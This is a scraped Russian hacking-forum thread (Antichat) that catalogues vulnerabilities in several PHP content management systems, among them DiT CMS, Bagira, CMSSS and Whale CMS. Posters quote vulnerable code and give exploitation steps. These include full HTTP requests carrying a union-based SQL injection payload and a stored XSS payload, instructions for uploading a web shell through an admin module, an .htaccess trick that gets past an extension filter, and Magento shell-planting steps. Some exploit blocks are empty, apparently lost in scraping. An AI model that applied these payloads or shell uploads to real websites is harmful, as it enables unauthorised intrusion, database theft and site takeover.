Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS MaxSite

    Version 0.862 - последняя версия!

    Официальный сайт http://www.max-3000.com


    passive XSS (reflected) в заголовке Referer

    Уязвимости на странице с формой регистрации и странице авторизации.

    Вектор проведения атаки идентичен, поэтому рассмотрю только страницу авторизации.

    127.0.0.1/MaxSite/application/maxsite/templates/default/components/_login/_login.php
    PHP:
    <form method="post" action="' . $MSO->config['site_url'] . 'login" name="flogin">
    <
    input type="hidden" value="' . $MSO->config['site_url'] . mso_current_url() . '" name="flogin_redirect">
    <
    input type="hidden" value="' . $MSO->data['session']['session_id'] . '" name="flogin_session_id">
    Exploit:
     
  2. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    DiT CMS

    Версия 2.1.2 (последняя!)

    Официальный сайт http://dit-cms.ru

    SQL Injection

    Уязвимый сценарий: search.php
    Уязвимый параметр: dit_search_string_content
    Вектор: error-based
    Уязвимый код:

    PHP:
    if ($_POST["dit_search_string_content"] != NULL)
            {
                
    $search $_POST["dit_search_string_content"];            
                
                
    $query "SELECT * FROM ".db_prefix."_part WHERE header_".lang_system." LIKE '%{$search}%' OR desc_".lang_system." LIKE '%{$search}%' ";
                
    $data mysql_query($query) or die (mysql_error());
                
    $result = array();
    Exploit:


    passive XSS (reflected)
    в том же параметре

    Exploit:

     
    #502 YaBtr, 29 Apr 2014
    Last edited: 29 Apr 2014
    2 people like this.
  3. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ECShop V2.7.3

    Официальный сайт http://ecshop.com (разработана в Поднебесной)
    Исследовал на демо-версии.

    passive XSS (reflected) в Referer

    Отправляем пакет:

     
    1 person likes this.
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS Bagira

    Версия 1.1.7b (последняя)
    Официальный сайт http://bagira-cms.ru/

    SQL Injection


    Уязвимый сценарий: ormPage.php
    Уязвимый параметр: pseudo_url
    Зависимости: mq=off
    Вектор: error-based
    Уязвимый код:
    PHP:
    if ($pseudo_url !== false) {

                        
    $parent_id $this->getParentId();
                        
    $s = (empty($this->id)) ? '' 'p_obj_id <> "'.$this->id.'" and ';
                        
    $s .= (empty($parent_id)) ? 'r_parent_id is NULL' 'r_parent_id = "'.$parent_id.'"';

                        
    $sql 'SELECT count(p_obj_id) FROM <<pages>>, <<objects>>, <<rels>>
                                WHERE pseudo_url = "'
    .$pseudo_url.'" and
                                      lang_id = "'
    .languages::curId().'" and
                                      domain_id = "'
    .domains::curId().'" and
                                      r_children_id = p_obj_id and '
    .$s.' and
                                      o_id = p_obj_id and
                                      o_to_trash = 0;'
    ;

                        
    $count db::q($sqlvalue);
    Exploit:
    passive XSS(reflected) в строке поиска:

    Exploit:
     
    #504 YaBtr, 16 May 2014
    Last edited: 17 May 2014
    2 people like this.
  5. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS ModX Revolution 2.2.14-pl

    ничего критичного, passive XSS (reflected) на modx.ru

    PoC:
     
  6. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS WysGui 2.3

    Официальный сайт http://wysgui.com

    SQL Injection

    Уязвимый сценарий: pageData.php
    Зависимости: mq=off
    Вектор: error-based
    Уязвимый код:
    PHP:
    ...
    $this->connect();
            
    $select 'SELECT * FROM pagedata WHERE pageURL = "'.$this->url.'" LIMIT 1';
            
    $query mysql_query($select) or die(mysql_error());
    ...
    Exploit:
     
    1 person likes this.
  7. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    cms CMSSS 1.8 (с названием не заморачивались :D )

    Официальный сайт http://cmsss.all4all.cz
    Демо-версия http://cms.all4all.cz

    SQL Injection

    Уязвимый сценарий: modules/pol/index.php
    Зависимости: mq=off
    Вектор: union-query
    Уязвимый код:
    PHP:
    ...
    $result $db->query("SELECT * FROM cmsss_poll_polls");
        while(
    $row $db->fetch_array($result)) {

            
    $row_votes $db->fetch_row("SELECT * FROM cmsss_poll_votes WHERE poll_id = '" $row['id'] . "'");
            for(
    $x 0$x 12$x++) {
                if(!empty(
    $row["option$x"])) {
                
    $vote_count += $row_votes["option$x"];
                }
            }
    ...
    PoC:

    SQL Injection

    Уязвимый сценарий: /modules/forum/view_topic.php
    Зависимости: mq=off
    Вектор: union-query
    Уязвимый код:
    ...
    PHP:
    // get value of id that sent from address bar 
    $id=$_GET['id'];
    $sql="SELECT * FROM $tbl_name WHERE id='$id'";
    $result=mysql_query($sql);
    $rows=mysql_fetch_array($result);
    ...
    PoC:

    active XSS (stored)

    Проблема в том, что при создании темы ни один из параметров не обрабатывается должным образом. Все поля пропускают "><script>alert(1)</script>, который с радостью записывается в БД:
    PHP:
    $topic=$_POST['topic'];
    $detail=$_POST['detail'];
    $name=$_POST['name'];
    $email=$_POST['email'];
    $kontrola=$_POST['kontrola'];

    $datetime=date("d.m.y H:i:s"); //create date time

    if($kontrola != "ano") {
    $sql="INSERT INTO $tbl_name(topic, detail, name, email, datetime)VALUES('$topic', '$detail', '$name', '$email', '$datetime')";
    $result=mysql_query($sql);
    Соответственно, пользователь, решившый посмотреть топик, получит себе, как минимум alert.
    Вы правильно заметили, что тут еще можно провести sql injection, но 2-х инъекций, описанных выше, пока достаточно.


    reflected XSS

    В данном движке огромное количество reflected XSS(пассивок), искать долго не нужно, например тот же параметр id из 2-ой описанной sql-инъекции.
    PHP:
    <td><input name="id" type="hidden" value="<? echo $id; ?>"></td>
    PoC:

    Ну и Shell Upload

    Зависимости: права администратора

    1. Administration module ==> Downloads ==> File Create ==> Профит

    Создаем файл с shell.php, вписываем мини-шелл, обращаемся, соответственно: site.com/modules/download/soubor/shell.php?=phpinfo();

    2. Напрямую грузим файл через форму Upload.
    Мега-функция проверяет наше расширение:
    PHP:
    function is_script ($filename) {
        return 
    ereg('\.php$|\.php3$|\.php4$|\.php5$'$filename);
    Обход стандартный: грузим .htaccess с нужным AddType или AddHandler, ну, а потом наш файл, например shell.phtml
     
  8. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
    Заливка шелла в magento:

    1. через site.com/downloader устанавливаем модуль File System ( http://www.magentocommerce.com/magento-connect/file-system.html )

    2. заливаем шелл изменяя ненужный файл
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    CMS: Whale CMS 1.0
    Сайт: https://www.whale-cms.de
    Админ панель: /backend/
    Логин/пароль администратора: SELECT name, passwort from [PREFIX]_users;


    SQL Injection и Reflected XSS:
    Зависимости: MQ = OFF
    /sys/template/include/suchen.php
    PHP:
    ...
    $newssuche $_POST['newssuche'];  
    echo 
    "<b>Du hast nach dem Beitragtitel: \"<u>$newssuche</u>\" gesucht. Dadurch wurden folgende Einträge gefunden:</b><br /><br />";    
    $newssuche_abfrage mysql_query("SELECT * FROM ".$prefix."news WHERE titel LIKE '%".$newssuche%."%' ORDER BY id DESC LIMIT 5"); 
    $newssuche_ergebnis mysql_query($newssuche_abfrage) or die(mysql_error()); 
    ...
    Эксплоит:
    Code:
    POST /?page=Home&action=suchen HTTP/1.1
    Host: localhost
    Connection: keep-alive
    Content-Length: 85
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: localhost
    User-Agent: '
    Content-Type: application/x-www-form-urlencoded
    Referer: http://localhost/?page=Home
    Accept-Encoding: gzip, deflate
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
    Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14
    
    newssuche=' union select 1,2,3,4,version(),6,7,8,9,10,11-- 
    Stored XSS и Error-Based SQL Injection:
    /sys/template/include/newscontent.php

    PHP:
    if($_GET['action'] == "neueskommentarposten")
            {     
             
    $newskommitext $_POST['kommentartext'];
             
    $newskommiautor $_POST['kommentarautor'];
    ...
            
    $qu8 mysql_query("INSERT INTO ".$prefix."newskommentar (text, autor, datum, newsID) VALUES ('".$newskommitext."','".$newskommiautor."', '".$newskommidatum."', '".$newskomminewsID."')"); 
                if(
    $qu8 == true)
                    {
    ...
                    }
                    else
                    {
                     echo 
    mysql_error();
                    }
    Эксплоит:
    Code:
    POST /?page=News&id=35&action=neueskommentarposten HTTP/1.1
    Host: localhost
    Connection: keep-alive
    Content-Length: 65
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: localhost
    User-Agent: '
    Content-Type: application/x-www-form-urlencoded
    Referer: http://localhost/?page=News&id=35
    Accept-Encoding: gzip, deflate
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
    Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14
    
    kommentarautor="><script>alert(/XSS/)</script>&kommentartext=test
     
    _________________________
    #509 yarbabin, 23 Mar 2015
    Last edited: 25 Mar 2015
    CyberTro1n likes this.
  10. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,099
    Likes Received:
    792
    Reputations:
    230
     
    _________________________
    Alexandr17 likes this.
Loading...